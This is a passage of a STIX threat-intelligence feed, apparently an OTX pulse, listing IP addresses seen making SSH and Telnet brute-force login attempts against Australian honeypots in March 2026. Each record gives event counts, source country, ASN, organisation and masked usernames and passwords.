      "id": "indicator--74d69d76-7796-49b6-b510-4f820867d383",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T01:16:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.229.72.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T01:16:19.000Z",
      "valid_until": "2026-04-27T01:15:02.000Z"
    },
    {
      "created": "2026-03-26T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): s****y, 3**********4, d**o, h*****y, k**e. Passwords observed (masked): 1****6, 1****1, 1******8, 3***********4, 3**********4.",
      "id": "indicator--c5e93eff-5c46-4e81-b6a9-956d62e5b83c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.80.61.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:15:05.000Z",
      "valid_until": "2026-04-27T02:15:02.000Z"
    },
    {
      "created": "2026-03-26T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): m*****z. Passwords observed (masked): m*****z.",
      "id": "indicator--54ecc5a1-5cf7-41bf-99ff-bff3e219be8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.82.58.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:15:05.000Z",
      "valid_until": "2026-04-27T02:15:02.000Z"
    },
    {
      "created": "2026-03-26T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:15:05.000Z",
      "valid_until": "2026-04-27T02:15:02.000Z"
    },
    {
      "created": "2026-03-26T02:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9b6c98d9-239a-4da0-8905-54426d852995",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.102.7.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T02:15:05.000Z",
      "valid_until": "2026-04-27T02:15:02.000Z"
    },
    {
      "created": "2026-03-26T03:15:28.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--5a0101d3-4e2f-4303-9ab8-3f0b597bddf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T03:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:15:28.000Z",
      "valid_until": "2026-04-27T03:15:03.000Z"
    },
    {
      "created": "2026-03-26T03:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 149089. Organisation(s): CLOUDFLY CORPORATION.",
      "id": "indicator--e65cf1e6-ba83-40ad-aafd-b13dad8bbceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T03:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.195.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:15:28.000Z",
      "valid_until": "2026-04-27T03:15:03.000Z"
    },
    {
      "created": "2026-03-26T03:15:28.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 59371. Organisation(s): Dimension Network & Communication Limited.",
      "id": "indicator--3ffb4d40-d4c7-4196-bf6a-49e299eefe8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T03:15:28.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.204.156.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T03:15:28.000Z",
      "valid_until": "2026-04-27T03:15:03.000Z"
    },
    {
      "created": "2026-03-26T04:17:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--de924ffa-092e-4fae-9683-31e1f2a789ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T04:17:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.116.245.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T04:17:31.000Z",
      "valid_until": "2026-04-27T04:15:02.000Z"
    },
    {
      "created": "2026-03-26T04:17:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--b696d3ff-734f-4370-8c94-5b493009a581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T04:17:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.23.48.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T04:17:31.000Z",
      "valid_until": "2026-04-27T04:15:02.000Z"
    },
    {
      "created": "2026-03-26T05:15:54.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--57f8f3fe-0d1d-448c-a806-db82d076db25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T05:15:54.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.13.46.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T05:15:54.000Z",
      "valid_until": "2026-04-27T05:15:02.000Z"
    },
    {
      "created": "2026-03-26T05:15:54.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--324f28da-34ae-452d-b834-123bbcb7cda0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T05:15:54.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.94.185.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T05:15:54.000Z",
      "valid_until": "2026-04-27T05:15:02.000Z"
    },
    {
      "created": "2026-03-26T05:15:54.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--e32d12aa-c8a4-4537-b543-7c404232d36d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T05:15:54.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.255.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T05:15:54.000Z",
      "valid_until": "2026-04-27T05:15:02.000Z"
    },
    {
      "created": "2026-03-26T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): b**2, 3**********4, s**********n, v*******r. Passwords observed (masked): 3***********4, 3**********4, b**2, s**********n, v*******r.",
      "id": "indicator--0bd93239-b34e-47a0-80ce-411c4d9146ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:15:06.000Z",
      "valid_until": "2026-04-27T06:15:02.000Z"
    },
    {
      "created": "2026-03-26T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133676. Organisation(s): Precious netcom pvt ltd. Usernames observed (masked): l**a, 3**********4. Passwords observed (masked): 3***********4, 3**********4, l**a.",
      "id": "indicator--65182609-536c-4c8d-a45a-4786ca449531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.248.120.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:15:06.000Z",
      "valid_until": "2026-04-27T06:15:02.000Z"
    },
    {
      "created": "2026-03-26T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--b8fe7fd1-f914-4b8d-8149-a70d84ac8321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.27.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:15:06.000Z",
      "valid_until": "2026-04-27T06:15:02.000Z"
    },
    {
      "created": "2026-03-26T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): l**a, 3**********4, ***, ***, w**k. Passwords observed (masked): 3***********4, 3**********4, ***, ***, l**a.",
      "id": "indicator--02a9fe78-1377-4498-aa4d-7ce4315e6053",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.78.68.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T06:15:06.000Z",
      "valid_until": "2026-04-27T06:15:02.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc. Usernames observed (masked): k***a. Passwords observed (masked): k*******4.",
      "id": "indicator--4e95e6ef-b794-4afb-8101-044ad3ed617c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.227.111.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): ***, p***y, r**t, t**t, u**r. Passwords observed (masked): ***, p**s, p***y, r**t, t**t.",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): 1****6, 1*******9, a***n. Passwords observed (masked): *, 1****6, 1*******9.",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n, *, ***, g***t. Passwords observed (masked): *, ***, 1****6, a***n, g***t.",
      "id": "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): 1***5, a***n. Passwords observed (masked): 1**4, 1***5.",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28135. Organisation(s): ASSOCIACAO NACIONAL PARA INCLUSAO DIGITAL - ANID. Usernames observed (masked): d*******r. Passwords observed (masked): d**********3.",
      "id": "indicator--888a5047-2f1f-460d-a516-ca9f167812cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.45.95.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T07:16:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T07:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T07:16:05.000Z",
      "valid_until": "2026-04-27T07:15:01.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136306. Organisation(s): Texes Connect Private Limited. Usernames observed (masked): 3**********4, b**m, o***a, h****r, r***s. Passwords observed (masked): 3***********4, 3**********4, ***, B******!, o*******!.",
      "id": "indicator--c13ba10e-4ae1-49d6-b2b9-893ce47210d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.155.57.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17995. Organisation(s): PT iForte Global Internet. Usernames observed (masked): 3**********4, U**r, m***i, p******r, r**t. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, U**r.",
      "id": "indicator--0415bf5b-5a28-4637-abf4-70164f9644d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.165.139.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): b**m, 3**********4, h****r, o***a, r***s. Passwords observed (masked): ***, 3***********4, 3**********4, B******!, o*******!.",
      "id": "indicator--95605cf4-e496-409d-812f-add45ea7c428",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 64072. Organisation(s): EVOLUTION NET Internet Service Provider.",
      "id": "indicator--08b65abb-fa06-40ac-b96a-86279b653d39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.69.77.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): o***a, 3**********4, ***. Passwords observed (masked): ***, 3***********4, 3**********4, o*******!.",
      "id": "indicator--21d5386c-82c4-4848-b48e-3204caccfc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.125.165.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--4f9af404-9394-44c1-8228-31845f90b9bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.48.57.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r***y, 3**********4, ***, b*****1, c**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, a****3, b*****1.",
      "id": "indicator--5088fe70-40b1-4620-afef-25c8ffc165c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.63.217.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--df319a51-96d0-45f4-b6a0-b8ff98bbd2a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48043. Organisation(s): Ozyorsk Telecom CJSC..",
      "id": "indicator--5431541c-d9dc-4d07-9593-daa801e724a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.190.41.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 18822. Organisation(s): Manquehuenet.",
      "id": "indicator--5206fca9-4d38-440d-a4fa-cf483fab2f8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.8.107.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 6863. Organisation(s): Rostelecom.",
      "id": "indicator--9202506d-41b4-40fd-a1c1-4826b4035d45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.96.165.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
